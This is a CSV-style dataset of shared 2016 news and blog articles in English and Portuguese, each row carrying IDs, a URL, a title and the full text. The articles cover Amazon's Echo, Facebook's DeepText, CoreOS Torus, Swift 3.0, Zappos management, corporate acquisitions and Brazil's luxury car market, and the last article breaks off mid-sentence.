1464822952,CONTENT SHARED,1002673045600956890,-1443636648652872475,8824844747218932597,,,,HTML,http://www.usatoday.com/story/tech/2016/05/31/amazon-founder-s-impact-gigantic/85200740/,Amazon founder: A.I.'s impact is,"RANCHO PALOS VERDES, Calif. - The emergence of artificial intelligence and machine learning to household gadgets is ""gigantic,"" according to Amazon founder Jeff Bezos. Speaking to the Code conference here, Bezos, whose company has a huge hit on its hand with the Echo connected speaker, said ""it's hard to overstate how big of an impact this will have on society over the next 20 years. It is big. It doesn't mean phones are going to go away or that voice actions will replace screens. As long as people have eyes, they have screens."" The Echo speaker can turn on lights, access online music and answer queries by awaking the speaker and waking it by stating the word Alexa. ""It has been a dream from the early days of sci-fi to have a computer to talk to, and that's coming true,"" said Bezos. The success of Amazon's Echo has struck a chord with competitors. Google will release a similar product, Google Home, later in the year, and Apple is said to be looking to launch a connected speaker as well. According to Bezos, ""this is the first inning....there is so much more to come. We're the first guys up to bat. We're on the edge of a golden era."" Bezos, the world's fifth richest person, according to Forbes, at $45 billion, is also an investor beyond Amazon in many companies, including the Washington Post, Airbnb, Twitter, Uber, Business Insider, Nextdoor and aerospace company Blue Origin. A screenshot of Echosim.io, a web-browser simulator of Amazon's Echo speaker and its Alexa digital assitant. (Photo: Amazon.com) Amazon posted more than $100 billion in revenue earlier this year, and has a new consumer electronics product hit on its hands, the Echo, a connected Wifi speaker that turns off lights, plays music and answers queries. Amazon hasn't revealed sales stats, but says the product is hard to keep in stock. Amazon Studios has been making its mark in Hollywood, where its competing with Netflix to offer first-run programming for streaming. Amazon's Transparent won 5 Emmys this year, including best lead actor, Jeffrey Tambor and is set to release Woody Allen's latest film in theaters. The director is also producing a comedy series for Amazon's Prime members. Read or Share this story:",en
1464842193,CONTENT SHARED,-2030742781169834114,-1032019229384696495,1185607126054010002,,,,HTML,http://www.theverge.com/2016/6/1/11834202/facebook-deeptext-ai-announced,Facebook says its new AI is almost as good as humans at understanding context,"Facebook has developed a new AI called DeepText that it claims can understand what people are writing about with ""near-human accuracy."" Oh, and it can do that several thousand times per second in over 20 languages. DeepText was announced in a blog post today, with Facebook engineers explaining how it works and how it's rolling out. The new AI is ultimately meant to let Facebook understand any writing that it comes across. It intends to use that ability to make better recommendations to people, both about related posts and related services available on Facebook; on top of that, Facebook could also use DeepText to identify spam or harassment and filter those comments out immediately. So far, DeepText is mostly good for hailing cabs It hasn't gotten quite that far, of course. For now, DeepText can only understand the context of a post - that is, the subject it's about or the general intent. So far, it's being put to use in two ways: in Facebook Messenger, it's supposed to understand when someone says they need a ride, allowing Facebook to offer to hail them a cab. DeepText is also being used to identify when people are trying to sell things on Facebook, allowing Facebook to recommend the use of its merchant tools. It's a pretty basic start, but it's easy to imagine how this can expand as DeepText learns to identify other requests. As its name suggests, DeepText has been able to get this far using deep learning. Facebook says this allows DeepText to have a better grasp on meaning than a traditional AI, which wouldn't be as good at linking together topics. Going forward, Facebook hopes to use DeepText to better understand the individual people, places, and events referred to within posts and to use that to offer even more personalized recommendations.",en
1464843925,CONTENT SHARED,786135087362634258,-1032019229384696495,1185607126054010002,,,,HTML,http://www.inc.com/matthew-e-may/why-steve-jobs-was-so-proud-to-steal.html,Why Steve Jobs Was Proud to Steal Ideas,"Had he suffered from one of the most common founder syndromes, Steve Jobs might never have even considered visiting the Xerox Palo Alto Research Center (PARC) in 1979. He might never have seen what he almost immediately recognized as the future of personal computing, a graphical user interface PARC had developed, designed to look like a desktop and converting traditional computer command lines and DOS prompts to icons of folders and documents that a user could point to and click open by using something Xerox called a mouse. He might never have embraced Pablo Picasso's quote that, ""good artists copy, great artists steal"" and taken the Xerox interface for Apple 's use, boasting later that ""we have always been shameless about stealing great ideas."" And had Jobs's hand-picked lead designer and eventual ""partner in crime"" Jonathan Ive likewise suffered from it, he might never have ""stolen"" the design stylings and aesthetics of Dieter Ram, genius designer of Braun fame. But Steve Jobs and Jonathan Ive were immune to it, as great artists are, and as a result achieved an unparalleled level of co-created product design that produced world-changing commercial elegance. The ""it"" is NIH, a well-known acronym in business literature for ""Not Invented Here"" syndrome, and they wore their immunity like a badge of honor. Perhaps rightly so, because neuroscience now confirms that embracing the ideas of others is both more difficult and less rewarding than coming up with our own. Not Invented Here (NIH) Syndrome If you're not familiar with NIH, it is defined as an automatic negative perception of, and visceral aversion to, concepts and solutions developed somewhere else, somewhere external to the individual or team, often resulting in an unnecessary reinvention of the wheel. It means, ""If I/we didn't come up with it, I/we won't consider it,"" and ""I/we can do anything you/they can do, better."" The expression of NIH is always the same: shutting out another person's or group's idea immediately and without due consideration merely because they came up with it. (The next time you're in the lobby waiting for the elevator to go up to your office or hotel room, count how many people hit the up button even though they can see that you've already pushed it. That's NIH.) When advertising executive Alex Osborn introduced the world to brainstorming over a half century ago, he proposed four rules for applying one's imagination, half of which focused on preventing idea rejection: defer judgment , and build on others' ideas . Osborne was well aware of NIH before it was called NIH, and unfortunately, his rules have had little effect on our tendency to do just the opposite: impose judgment and reject others' ideas . Wikipedia offers a good starting point for understanding what drives NIH, stating that a concept developed by others is often rejected because people ""don't take the time to understand it fully before rejecting it; because they would have to embrace new concepts in infrastructure or terminology; because they believe they can produce a superior product; or because they would not get as much credit for finding an existing solution as inventing a new one."" A recent study of the literature devoted to NIH reveals that it is above all a predisposition-- acquired attitude or bias--arising out of perceived burden, mental load, or possible threat. NIH is tied to domains of knowledge and activity you believe you own. If you're the expert, you should be the one with all the great ideas, or so the thinking goes. Irrational as it may be, if someone else gets an idea or conjures up a solution that lies within your domain of expertise, you somehow get a sense of diminished capacity: ""I should have thought of that!"" Fear then creeps in if you feel as though others may perceive you to be somehow less of an expert, especially if those others happen to be bosses, employers, or clients. That's when you double-down on defensive maneuvers like NIH to protect your status, position or power base. The Neuroscience of NIH Here's the thing: the biology of your brain may play a big part in NIH, for a few reasons. First, we now know that processing new concepts (of any origin) places a heavy load on the prefrontal cortex. The brain, though, is wired to preserve mental resources, so by nature you resist new ideas almost automatically, not because the ideas are bad, but because you would rather not expend the enormous energy it takes to focus attention and make new neural connections. In other words, the feeling is uncomfortable, so you avoid it. Second, your brain doesn't get the same chemical reward from other people's ideas as it does from your own. When you solve a problem yourself, at the moment of insight around which new and complex connections are made, the brain releases an adrenaline-like rush of neurochemicals, delivering a positively stimulating experience. So while it seems like stealing ideas from others is easy and lazy, it isn't. In a counterintuitive way, coming up with our own ideas is cognitively easier and more rewarding than embracing, assimilating, and exploiting ideas of others. This may explain why Steve Jobs was so proud of stealing...perhaps he knew he was going against human nature, and thinking harder and better than others might.",en
1464860345,CONTENT SHARED,8522523292310933696,7774613525190730745,7176458023900062217,,,,HTML,http://fortune.com/2016/06/01/coca-cola-soy-beverage-deal/,Coca-Cola Is Paying $575 Million for Unilever's Soy Drink Business,"Coca-Cola and its largest bottler have agreed to acquire a soy-based beverage maker for $575 million, another big bet on an international brand by the soda giant. In a deal that has already been approved by Coke's board, Coke and Mexican-based bottler Coca-Cola FEMSA are buying AdeS from Unilever. AdeS, which generated net revenue of $284 million last year, is the second largest global maker of soy-based beverages. It has a strong presence in Latin America, including in Brazil, Argentina, Uruguay and Paraguay. The deal is the latest bolt-on acquisition by Coke as it hunts for growth abroad. Two other recent deals the soda giant has inked includes a $400.5 million deal to buy China Culiangwang Beverages Holdings last year and a minority investment in Chi Limited, a Nigerian dairy and juice beverage company. The deal for Chi was announced earlier this year. Brian Smith, president of Coke's Latin America group, said the AdeS deal would help the company's portfolio add to its more nutritious offerings. That alludes to what Chief Executive Muhtar Kent told analysts earlier this month, when he said the Culiangwang and Chi deals were ways for the company to respond to evolving consumer preferences. More broadly, the largest food and beverage companies in the U.S. have added to their portfolios through acquisitions, as many of their established brands face volume softness, particularly in Western markets. It is notable to add that the deal for AdeS won't move the needle for Coke too much. Across the company's entire system, Coke sold 29.2 billion unit cases in 2015, while AdeS only sold 56.2 million last year.",en
1464860514,CONTENT SHARED,5875183869203898283,-1387464358334758758,7170482234777071965,,,,HTML,http://www.independent.co.uk/life-style/gadgets-and-tech/news/google-voice-search-records-and-stores-conversation-people-have-around-their-phones-but-files-can-be-a7059376.html,Google is quietly recording everything you say. Here's how to hear it,"Google could have a record of everything you have said around it for years, and you can listen to it yourself. The company quietly records many of the conversations that people have around its products. The feature works as a way of letting people search with their voice, and storing those recordings presumably lets Google improve its language recognition tools as well as the results that it gives to people. But it also comes with an easy way of listening to and deleting all of the information that it collects. That's done through a special page that brings together the information that Google has on you. It's found by heading to Google's history page and looking at the long list of recordings . The company has a specific audio page and another for activity on the web, which will show you everywhere Google has a record of you being on the internet . The new portal was introduced in June last year and so has been active for the last year - meaning that it is now probably full of various things you have said, which you thought might have been in private. The recordings can function as a kind of diary, reminding you of the various places and situations that you and your phone have been in. But it's also a reminder of just how much information is collected about you, and how intimate that information can be. You'll see more if you've an Android phone, which can be activated at any time just by saying ""OK, Google"". But you may well also have recordings on there whatever devices you've interacted with Google using. On the page, you can listen through all of the recordings. You can also see information about how the sound was recorded - whether it was through the Google app or elsewhere - as well as any transcription of what was said if Google has turned it into text successfully. But perhaps the most useful - and least cringe-inducing - reason to visit the page is to delete everything from there, should you so wish. That can be done either by selecting specific recordings or To delete particular files, you can click the check box on the left and then move back to the top of the page and select ""delete"". To get rid of everything, you can press the ""More"" button, select ""Delete options"" and then ""Advanced"" and click through. The easiest way to stop Google recording everything is to turn off the virtual assistant and never to use voice search. But that solution also gets at the central problem of much privacy and data use today - doing so cuts off one of the most useful things about having an Android phone or using Google search.",en
1464866267,CONTENT SHARED,7943088471380012839,-8020832670974472349,2348433893919184737,,,,HTML,https://coreos.com/blog/torus-distributed-storage-by-coreos.html,Torus,"Persistent storage in container cluster infrastructure is one of the most interesting current problems in computing. Where do we store the voluminous stream of data that microservices produce and consume, especially when immutable, discrete application deployments are such a powerful pattern? As containers gain critical mass in enterprise deployments, how do we store all of this information in a way developers can depend on in any environment? How is the consistency and durability of that data assured in a world of dynamic, rapidly iterated application containers? Today CoreOS introduces Torus, a new open source distributed storage system designed to provide reliable, scalable storage to container clusters orchestrated by Kubernetes, the open source container management system. Because we believe open source software must be released early and often to elicit the expertise of a community of developers, testers, and contributors, a prototype version of Torus is now available on GitHub , and we encourage everyone to test it with their data sets and cluster deployments, and help develop the next generation of distributed storage. Distributed systems: Past, present, and future At CoreOS we believe distributed systems provide the foundation for a more secure and reliable Internet. Building modular foundations that expand to handle growing workloads, yet remain easy to use and to assemble with other components, is essential for tackling the challenges of computing at web scale. We know this from three years of experience building etcd to solve the problem of distributed consensus - how small but critical pieces of information are democratically agreed upon and kept consistent as a group of machines rapidly and asynchronously updates and accesses them. Today etcd is the fastest and most stable open source distributed key-value store available. It is used by hundreds of leading distributed systems software projects, including Kubernetes, to coordinate configuration among massive groups of nodes and the applications they execute. The problem of reliable distributed storage is arguably even more historically challenging than distributed consensus. In the algorithms required to implement distributed storage correctly, mistakes can have serious consequences. Data sets in distributed storage systems are often extremely large, and storage errors may propagate alarmingly while remaining difficult to detect. The burgeoning size of this data is also changing the way we create backups, archives, and other fail-safe measures to protect against application errors higher up the stack. Why we built Torus Torus provides storage primitives that are extremely reliable, distributed, and simple. It's designed to solve some major problems common for teams running distributed applications today. While it is possible to connect legacy storage to container infrastructure, the mismatch between these two models convinced us that the new problems of providing storage to container clusters warranted a new solution. Consensus algorithms are notoriously hard. Torus uses etcd, proven in thousands of production deployments, to shepherd metadata and maintain consensus. This frees Torus itself to focus on novel solutions to the storage part of the equation. Existing storage solutions weren't designed to be cloud-native Deploying, managing, and operating existing storage solutions while trying to shoehorn them into a modern container cluster infrastructure is difficult and expensive. These distributed storage systems were mostly designed for a regime of small clusters of large machines, rather than the GIFEE approach that focuses on large clusters of inexpensive, ""small"" machines. Worse, commercial distributed storage often involves pricey and even custom hardware and software that is not only expensive to acquire, but difficult to integrate with emerging tools and patterns, and costly to upgrade, license, and maintain over time. Containers need persistent storage Container cluster infrastructure is more dynamic than ever before, changing quickly in the face of automatic scaling, continuous delivery, and as components fail and are replaced. Ensuring persistent storage for these container microservices as they are started, stopped, upgraded, and migrated between nodes in the cluster is not as simple as providing a backing store for a single server running a group of monolithic applications, or even a number of virtual machines. Storage for modern clusters must be uniformly available network-wide, and must govern access and consistency as data processing shifts from container to container, even within one application as it increments through versions. Torus exists to address these cases by applying these principles to its architecture: Extensibility : Like etcd, Torus is a building block, and it enables various types of storage including distributed block devices, or large object storage. Torus is written in Go, and speaks the gRPC protocol to make it easy to create Torus clients in any language. Ease of use : Designed for containers and cluster orchestration platforms such as Kubernetes, Torus is simple to deploy and operate, and ready to scale. Correctness : Torus uses the etcd distributed key-value database to store and retrieve file or object metadata. etcd provides a solid, battle-tested base for core distributed systems operations that must execute rapidly and reliably. Scalability : Torus can currently scale to hundreds of nodes while treating disks collectively as a single storage pool. ""We have seen a clear need from the market for a storage solution that addresses the dynamic nature of containerized applications and can take advantage of the rapidly evolving storage hardware landscape,"" said Zachary Smith, CEO of Packet, a New York-based bare metal cloud provider. ""We're excited to see CoreOS lead the community in releasing Torus as the first truly distributed storage solution for cloud-native applications."" How Torus works At its core, Torus is a library with an interface that appears as a traditional file, allowing for storage manipulation through well-understood basic file operations. Coordinated and checkpointed through etcd's consensus process, this distributed file can be exposed to user applications in multiple ways. Today, Torus supports exposing this file as block-oriented storage via a Network Block Device (NBD). We also expect that in the future other storage systems, such as object storage, will be built on top of Torus as collections of these distributed files, coordinated by etcd. Torus includes support for consistent hashing, replication, garbage collection, and pool rebalancing through the internal peer-to-peer API. The design includes the ability to support both encryption and efficient Reed-Solomon error correction in the near future, providing greater assurance of data validity and confidentiality throughout the system. Deploying Torus Torus can be easily deployed and managed with Kubernetes. This initial release includes Kubernetes manifests to configure and run Torus as an application on any Kubernetes cluster. This makes installing, managing, and upgrading Torus a simple and cloud-native affair. Once spun up as a cluster application, Torus combines with the flex volume plugin in Kubernetes to dynamically attach volumes to pods as they are deployed. To an app running in a pod, Torus appears as a traditional filesystem. Today's Torus release includes manifests using this feature to demonstrate running the PostgreSQL database server atop Kubernetes flex volumes, backed by Torus storage. Today's release also documents a simple standalone deployment of Torus with etcd, outside of a Kubernetes cluster, for other testing and development. What's next for Torus? Community feedback Releasing today's initial version of Torus is just the beginning of our effort to build a world-class cloud-native distributed storage system, and we need your help. Guide and contribute to the project at the Torus repo on GitHub by testing the software, filing issues, and joining our discussions. If you're in the San Francisco area, join us for the next CoreOS meetup on June 16 at 6 p.m. PT for a deep dive into the implementation and operational details of Torus. ""Distributed storage has historically been an elusive problem for cloud-native applications,"" said Peter Bourgon, distributed systems engineer and creator of Go kit. ""I'm really happy with what I've seen so far from Torus, and quite excited to see where CoreOS and the community take it from here!"" Torus is simple, reliable, distributed storage for modern application containers, and a keystone for wider enterprise Kubernetes adoption. CoreOS is hiring If you're interested in helping develop Torus, or solving other difficult and rewarding problems in distributed systems at CoreOS, join us! We're hiring distributed storage engineers .",en
1464867286,CONTENT SHARED,-9095002324981651252,-2820994773540913369,4317368004778411746,,,,HTML,http://exame.abril.com.br/blogs/primeiro-lugar/2016/06/01/estacio-prepara-oferta-pelo-controle-da-estacio/,Kroton prepara oferta pelo controle da Estácio - Primeiro Lugar On-line,"Dois anos depois de concluir a compra da concorrente Anhanguera, a rede de ensino superior Kroton escolheu o próximo alvo. A empresa, maior do mundo no setor de educação, contratou o banco de investimento Itaú BBA para assessorá-la numa oferta pela rede carioca Estácio, a segunda maior do país­ (atrás apenas da própria Kroton). Segundo EXAME apurou, as negociações ainda não começaram - mas a Kroton pretende levar uma proposta formal aos conselheiros da Estácio nas próximas semanas. A rede carioca não tem controlador: seu maior acionista é o empresário Chaim Zaher, bilionário do setor de educação que tem dois assentos no conselho de administração. Caso o conselho da Estácio barre a proposta, é possível que Rodrigo Galindo, presidente da Kroton, faça uma oferta hostil pelo controle - o que significaria encaminhar uma proposta diretamente aos acionistas da empresa. A Kroton vale 18 bilhões de reais na bolsa; a Estácio, pouco menos de 4 bilhões de reais. Em número de alunos, no entanto, a diferença é menor. Enquanto a Kroton tem 1 milhão de alunos, a Estácio tem quase 600 000. Procurada, a Kroton disse que não comenta rumores. (Com Ana Paula Ragazzi)",pt
1464867391,CONTENT SHARED,127799031949294618,-709287718034731589,2379180870399543369,,,,HTML,http://www.macrumors.com/2016/06/01/apple-releases-first-preview-of-swift-3/,Apple Releases First Preview of Swift 3.0 for Developers,"Apple yesterday released the first preview build of Swift 3.0, a major update to Apple's open source Swift programming language. Swift 3.0's official release is expected to come in late 2016 after proposed changes are finalized. The Swift 3.0 preview can be downloaded from the official Swift website . There are versions of Swift 3.0 available for Xcode 7.2, Ubuntu 14.01, and Ubuntu 15.10. Swift 3.0 is not source compatible with Swift 2.2 as it introduces source-breaking changes, but going forward, the goal is to make Swift 3.0 source compatible with future Swift language updates. To meet that goal , Swift 3.0 ""focuses on getting the basics right for the long term."" Apple will likely show off Swift 3.0 at its upcoming Worldwide Developers Conference , debuting it alongside iOS 10 , OS X 10.12 , and new versions of tvOS and watchOS.",en
1464867860,CONTENT SHARED,5672978373195158195,3609194402293569455,6147896666617046192,,,,HTML,https://endeavor.org.br/gestao-pessoas-zappos/,Gestão de pessoas? Só se for com a Zappos | Endeavor Brasil,"""Embaixadores"", ""advogados"", ""porta-vozes"" de uma marca: você já deve ter ouvido falar dessas expressões. Elas se referem àqueles clientes fiéis, que vestem a camisa de uma empresa e saem falando dela para todo mundo. Agora, e ""noivos"" de uma marca? Você conhece? Pois é. Já houve quem gostasse tanto, mas tanto, da experiência de compra proporcionada por uma empresa que resolveu se casar lá mesmo. A cerimônia ocorreu de fato, e na presença de Tony Hsieh, CEO da Zappos, famoso pelos métodos de gestão pouco ortodoxos. E o matrimônio, sejamos justos, nada mais foi do que uma consequência dessa filosofia. O assunto é vasto. Poderíamos falar, aqui, sobre a estratégia de atendimento da marca. Sobre como o objetivo é priorizar o lado pessoal e emocional no relacionamento com as pessoas, mas vamos além. Vamos entrar sorrateiramente na sede da Zappos, circular pelos corredores para dar uma espiadinha no ambiente e entender como é que vem funcionando a última - e polêmica - jogada de Hsieh: a holocracia . Hein?! Seria um governo conduzido por hologramas? Pois é, o termo parece vir de um filme de ficção científica. Mas, de acordo com Reuven Gorsht, da SAP , o modelo nada mais é do que um sistema de autoridade distribuída - um conjunto de ""regras do jogo "" que colocam o empoderamento como núcleo da organização. A mentalidade colaborativa domina o pedaço; os funcionários ajudam uns aos outros, sem distinção de função ou departamento. A cultura organizacional e o fator ""Uau!"" De escritório, o lugar não tem nada. Parece mais um espaço no centro de Las Vegas meticulosamente desenhado para abrigar o modelo de Hsieh. Os 600 funcionários de "" Lealdade ao Cliente "" - os que estão na linha de frente, cuidando de telefones, e-mails e linhas de bate-papo - não seguem scripts ou manuais e têm total autonomia para atuar. Isso é indispensável para que a empresa entregue, nas próprias palavras de Hsieh, o fator ""Uau!"" . Ou seja, o resultado da cultura de experimentação, criatividade e diversão que ele implantou na Zappos e que faz toda a diferença na relação com os clientes. O casamento aí de cima é exemplo disso. Embora sui generis , esse exemplo mostra como uma estratégia bem definida de gestão de pessoas pode mudar o rumo de qualquer negócio. Nesse caso, a holocracia é parte de um entendimento maior de gestão, que nasce da essência de uma marca. Colocada assim, com um caseexcepcional, a questão da gestão de pessoas pode até parecer simples. Mas, se você já tem um histórico no empreendedorismo - ou mesmo se está começando -, deve saber muito bem que não é. O caminho para a formação de uma equipe forte e dedicada é cheio de surpresas . Aqui, na Endeavor, nós conhecemos bem essas dores. A convivência diária com empreendedores em todas as fases de negócio mostra o quão necessária é a troca de experiências e ideias para que o desafio do recrutamento não seja tão complicado assim. A ideia é aproximar quem já sofreu - e se curou - dessas dores de quem as está penando com elas. Nossos cursos online são ótimos exemplos dessa troca. Neles, mentores e empreendedores Endeavor compartilham conhecimento e vivência para te ajudar a desatar complicados nós de gestão. Ah, e com um detalhezinho: são todos 100% gratuitos. Se o seu desafio é na hora de montar um time, o curso de Gestão de Pessoas: Como construir uma equipe forte pode ajudar muito. São quatro horas de vídeo aulas com o instrutor Alvaro Cardoso Armond , especialista na área de Desenvolvimento Comportamental orientado para Resultados Organizacionais. Nelas, você vai aprender a estruturar um time qualificado, motivado e alinhado a uma cultura forte, tendo em vista as necessidades do seu negócio. Depois de acompanhar as aulas, você conseguirá: Identificar quem precisa contratar para as necessidades da sua empresa; Atrair e selecionar as pessoas certas; Motivar e recompensar funcionários; Criar e cultivar a cultura organizacional; Identificar competências e comportamentos de um bom líder. Outro curso que pode te ajudar um bocado - principalmente se você está começando a empreender - é A arte do recrutamento: como atrair os melhores profissionais para o seu negócio . Nele, Sandra Betti, mentora Endeavor e especialista em recrutamento, mostra vários caminhos das pedras. Compreender o seu papel no processo de Recrutamento e Seleção, por exemplo; atrair pessoas alinhadas ao jeito de ser da sua organização; criar e manter um pipeline de candidatos qualificados, e apontar as diferenças entre o recrutamento interno e externo; por fim, identificar as etapas para seleção e avaliação do candidato ideal (CV, entrevistas, cases etc). São duas horas e meia de puro conhecimento aplicável, transmitido por vídeo aulas. Ou seja, você aprende sem nem ter que sair de frente do computador. Já pode começar assim que acabar de ler esse artigo! Vá em busca do seu efeito ""Uau!"" Enfim, são oportunidades imperdíveis para aprimorar a gestão de pessoas da sua empresa. Como mostra o exemplo da Zappos, ter uma equipe forte e alinhada com a sua cultura organizacional é determinante para o sucesso das operações, para causar aquele impacto positivo na clientela. Até porque os principais ""embaixadores"", advogados"" ou mesmo ""noivos"" da sua marca devem estar dentro dela. E o assunto não termina aqui! Conheça outros cursos sobre gestão de pessoas",pt
1464867895,CONTENT SHARED,-8294676699502353515,3609194402293569455,6147896666617046192,,,,HTML,https://endeavor.org.br/inovacao-tecnologia/,Inovação e emrpeendedores de tecnologia | Endeavor Brasil,"A inovação não é nem um bicho de sete cabeças. Confira 3 dias de como se manter atualizado no mundo tecnológico. Na última década, mais empresas foram criadas do que em todos os outros dois mil anos. Talvez o empreendedorismo seja o único caminho para que nossa espécie chegue aos seus três mil anos sem consumirmos o planeta inteiro. Por mais que isso possa parecer um paradoxo, já que cada negócio busca o lucro e o capitalismo como conhecemos fomenta o consumo desenfreado, as boas ideias empreendedoras mostram que é possível mudar esse cenário . O que de fato mudou é que a abundância e a disponibilidade de produtos e serviços estão tornando cada vez mais possível um mundo onde a posse e a aquisição saem de cena em prol do uso compartilhado e das assinaturas recorrentes. Nesse cenário, as startups de tecnologia têm um papel fundamental de, por meio da escala e da otimização de recursos, proverem essas soluções a preços competitivos e acessíveis de qualquer lugar do planeta. Leia também: Ciência e tecnologia: avanços, lacunas e desafios Tive a oportunidade de apoiar a mentoria de diversos times no primeiro Startup Weekend , realizado na cidade de Joinville, no norte de Santa Catarina. Para quem não conhece, o evento é organizado mundialmente com o objetivo de fomentar o empreendedorismo , utilizando uma metodologia clara de criação de negócios inovadores. Essa é a primeira das minhas três dicas para quem pretende criar um negócio inovador. Mas as outras são igualmente - ou talvez mais - relevantes 1. Participe de eventos com empreendedores De fato, a experiência de entrar em um Startup Weekend e passar pelo processo todo é infinitamente superior ao negócio sendo criado em si. Pode parecer confuso, mas esse é exatamente o xis da questão. Você já parou para pensar que em empresas de base tecnológica onde o produto a ser criado é algo completamente novo, normalmente sem similar no mercado com os mesmos aspectos, não existe um negócio, ou um produto, e sim uma hipótese ? Leia também: Construir, medir, aprender? Entenda as formas de validar seu negócio Por isso, é muito importante procurar eventos de Meetup da sua cidade e/ou estado. Em quase todos os estados do país existem reuniões para empreendedores que tratam de temas relevantes na vida do empreendedor . Além disso, grupos no Facebook, Linkedin e grupos de slack podem ajudar e muito a partilhar experiências, desafios e superações. 2. Não tenha medo de pivotar O principal aprendizado sobre hipóteses de negócio é que elas podem e devem, sem problema algum, serem invalidadas em prol de novas hipóteses. Se você ainda não está familiarizado com o termo, nada mais é do que abandonar a hipótese primária do negócio e procurar outra hipótese, a qual não precisa ter relação com a hipótese anterior. Já ouviu falar no Slack ? Bem, eles são o maior exemplo de Pivot. A empresa que no início desenvolvia jogos acabou criando um ambiente de chat online para comunicação nas horas vagas. Eles entenderem que isso era um problema ainda maior a ser resolvido e pivotaram o negócio completamente para atender essa hipótese. Só para se ter ideia, o Slack é a empresa com maior crescimento do planeta, uma média de 20% ao mês e tudo isso simplesmente porque eles pivotaram a sua ideia. 3. Foque no seu time Nos dias de hoje, a chave do sucesso para qualquer negócio não está no produto a ser desenvolvido, mas sim na capacidade de adaptação do time que está executando o projeto. Por isso, o comportamento organizacional da sua empresa merece uma atenção especial. Crie um ambiente onde as pessoas realmente se engajem e busquem resolver os problemas de forma mais rápida e com menos custos. Incentive também o questionamento do status quo, dê abertura para que as pessoas, das mais variadas áreas, usem a sua criatividade e inovem. Ao contrário do que alguns pensam, as inovações mais importantes quase sempre vêm das pessoas que convivem com os problemas e não as que criam as soluções. E, é assim, inovando, pivotando e construindo novas hipóteses , que novas empresas de tecnologia surgem e conseguem atender ao interesse do mercado.",pt
1464867926,CONTENT SHARED,-2309481887656981309,3609194402293569455,6147896666617046192,,,,HTML,http://epocanegocios.globo.com/Publicidade/noticia/2016/06/carros-de-luxo-em-alta-mas-alerta-esta-aceso.html,"Carros de luxo em alta, mas o alerta está aceso","O mercado automobilístico no Brasil está longe de viver o seu melhor momento. Pelo terceiro ano consecutivo o setor amargou uma queda no número de emplacamentos, despencando de mais de 3,8 milhões de unidades em 2012 para 2,56 milhões em 2015. Mas um segmento, ainda que responda por menos de 3% das vendas, se destaca por apresentar gráficos com uma tendência totalmente oposta. As marcas de luxo, cujo portfólio possui produtos com preços acima dos 100 mil reais, em 2012 emplacaram 48 146 unidades, número que, no fechamento de 2015, saltou para 67 927. De acordo com Milad Kalume Neto, gerente de desenvolvimento de negócios da Jato Dynamics, consultoria especializada no mercado automotivo, trata-se de uma volta por cima desse segmento, que foi bastante afetado quando houve a mudança nas regras do IPI. ""O mercado premium vinha em ascendente crescimento quando no final de 2011 o governo alterou as alíquotas de IPI para veículos importados de fora do Mercosul"", explica, citando que, de 2010 para 2011, esse segmento tinha registrado um aumento de 31,1 mil para 47,1 unidades. ""De início, foi necessário uma adaptação, passando, por exemplo, a oferecer um leque de opções mais enxuto, diminuindo sensivelmente a disponibilidade de versões por modelo"". As vendas do segmento Premium caíram bastante em 2012 e as principais marcas no País se viram praticamente obrigadas a aderir aos termos do Inovar Auto. Audi, BMW, Mercedes-Benz e Jaguar Land Rover decidiram então pela instalação de fábricas aqui no País para, assim, conseguir ampliar o volume de suas cotas de importação - o excedente é sobretaxado em 30%. Desde então, os números nas vendas só cresceram. Crise x resultados Diante do compasso de redução do ritmo do setor automobilístico como um todo em meio à crise político-econômica, a boa performance desse segmento pode ser explicada por uma conjunção de fatores. A primeira, fazendo uma avaliação mais ampla é o crescimento da Classe A brasileira. No entanto, Kalume Neto, isso não quer dizer que o segmento é imune à crise. ""Note que o segmento cresce em participação de mercado, como tendência efetiva observada nos últimos anos, mas cresce menos em vendas absolutas, fruto da crise atual que derrubou o mercado."" Outra questão abordada pelo executivo da Jato Dynamics é relacionado à oferta de produtos no mercado. ""Algumas marcas premium passaram a disputar uma faixa de mercado que tinha, até então, poucos competidores no Brasil, o segmento Upper Medium"", analisa Kalume Neto. Por exemplo, o tradicional consumidor de modelos como VW Jetta, Honda Civic ou Toyota Corolla em suas versões mais caras passou a ter opções de marcas como Audi, BMW e Mercedes-Benz. A atual líder desse segmento, a Audi - que saltou de 14,24% do mercado em 2012 (com 4 960 emplacamentos) para 25,82% em 2015 (17 541) - tem como seus modelos mais vendidos exatamente os mais acessíveis: as linhas A3 (custa a partir de R$ 106 mil) e o Q3 (SUV que parte de R$ 136 mil), exatamente os dois que estão sendo produzidos na fábrica brasileira, localizada em São José dos Pinhais (PR). ""A liderança é uma conquista significativa, sem dúvida, mas é importante ressaltar que nosso trabalho é voltado para garantir a sustentabilidade do negócio a longo prazo"", diz Jörg Hofmann, presidente e CEO da Audi do Brasil. ""Os nossos resultados são reflexo de uma estratégia que criamos ainda em 2013. Nos últimos dois anos, investimos R$ 500 milhões em nossa linha de produção, R$ 200 milhões na expansão de nossa rede de concessionárias e R$ 12 milhões em pós-vendas."" Outro fator importante é apontado por Ivair Berntz, sócio-líder para o setor automotivo da consultoria Delloite no Brasil. ""Esse público que adquire carros acima da faixa dos 100 mil reais tem mais estabilidade e é muito menos dependente da oferta de crédito. E, nesses últimos anos, está tendo condições de realizar antigos sonhos de consumo"". Avaliação parecida faz o diretor de vendas da BMW do Brasil, Martin Fritsches. ""O segmento premium possui uma dinâmica que ainda é um pouco diferente do mercado regular de automóveis. Há um mercado potencial para veículos premium muito relevante no Brasil, cuja expansão se iniciou muito recentemente, o que gera oportunidades."" Fonte: Jato Dynamics Na fábrica de Araquari (SC), a BMW produz os modelos Série 3 (sedã que é, disparado, o seu modelo mais vendido, com 7418 unidades), Série 1, X1, X3 e MINI Countryman. E, recentemente, anunciou que 10 mil unidades do seu SUV de entrada, o X1, serão exportados. ""Nos últimos meses, identificamos uma demanda importante por esse modelo nos Estados Unidos, cujo volume poderia ser atendido pela fábrica de Araquari, por isso estruturamos o projeto recém-anunciado de exportação"", explicou o executivo, destacando a importância da estratégia da flexibilidade de produção implementada globalmente. ""Isso significa que é plenamente viável incluir novos modelos na nossa linha em Araquari,"" Longo prazo Mas a atual indefinição político-econômica faz com que mesmo esse segmento, que obteve resultados bastante positivos em 2015, também sinta seus efeitos. Benrntz, da Delloite, diz que o sinal de alerta já está aceso mesmo nesse mercado. ""A crise já está chegou também na classe média-alta brasileira"". Holger Marquardt, diretor geral de Automóveis da Mercedes-Benz para a América Latina e Caribe, faz avaliação na mesma linha. ""O cenário político-econômico desafiador do Brasil também está afetando o desenvolvimento do mercado de automóveis premium nesse momento"", diz. ""A retomada da 